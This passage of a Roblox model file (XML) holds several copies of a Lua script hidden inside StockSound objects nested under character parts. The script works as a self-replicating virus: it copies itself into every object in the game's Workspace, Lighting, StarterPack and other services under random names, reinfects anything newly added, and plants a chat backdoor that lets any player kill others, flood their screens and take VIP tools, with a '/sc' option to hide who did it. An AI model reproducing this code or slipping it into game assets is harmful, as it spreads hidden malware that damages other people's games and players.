if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX196">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">7xio8do</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX197">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">mlwjkt6</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX198">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-9.0707655</X>
							<Y>3.29895973</Y>
							<Z>11.4658957</Z>
							<R00>-0.538089991</R00>
							<R01>7.44197024e-008</R01>
							<R02>0.842887282</R02>
							<R10>9.79912116e-008</R10>
							<R11>1</R11>
							<R12>-2.57348773e-008</R12>
							<R20>-0.842887282</R20>
							<R21>6.87478661e-008</R21>
							<R22>-0.538089991</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0</float>
						<float name="LeftParamB">0</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0</float>
						<float name="RightParamB">0</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX199">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">roblox</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX200">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">1okg</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX201">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ilixzyx</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
